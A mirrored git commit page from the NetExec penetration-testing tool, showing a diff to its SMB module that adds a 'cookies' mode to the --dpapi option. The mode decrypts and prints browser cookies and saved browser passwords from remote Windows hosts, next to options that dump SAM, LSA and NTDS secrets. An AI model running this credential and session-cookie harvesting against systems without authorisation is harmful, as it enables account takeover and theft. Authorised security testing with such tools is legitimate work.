admin/Pennyw0rth-NetExec
1
0
Fork 0
mirror of https://github.com/Pennyw0rth/NetExec synced 2026-06-06 16:34:30 +00:00
Code Issues Packages Projects Releases Wiki Activity

add option to dump cookie dpapi

Browse Source
This commit is contained in:
mpgn
2023-02-19 15:35:37 -05:00
parent f381728740
commit 602e7bb020
1 changed files with 9 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
cme/protocols/smb.py
+9 -4
View File
@@ -173,7 +173,7 @@ class smb(connection):
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cegroup.add_argument("--dpapi", action='store_true', help='dump DPAPI secrets from target systems')
cegroup.add_argument("--dpapi", choices={'password', 'cookies'}, nargs='?', const='password', help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)')
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
@@ -1271,16 +1271,21 @@ class smb(connection):
for credential in system_credentials:
self.logger.highlight("[SYSTEM][CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
try:
# Collect Chrome Based Browser stored secrets
dump_cookies = True if self.args.dpapi == "cookies" else False
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys)
browser_credentials, _ = browser_triage.triage_browsers()
browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug("Error while looting browsers: {}".format(e))
for credential in browser_credentials:
self.logger.highlight("[%s][%s] %s %s:%s" % (credential.winuser, credential.browser.upper(), credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
if dump_cookies:
self.logger.info("Start Dumping Cookies")
for cookie in cookies:
self.logger.highlight("[%s][%s] %s%s - %s:%s" % (credential.winuser, cookie.browser.upper(), cookie.host, cookie.path, cookie.cookie_name, cookie.cookie_value))
self.logger.info("End Dumping Cookies")
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)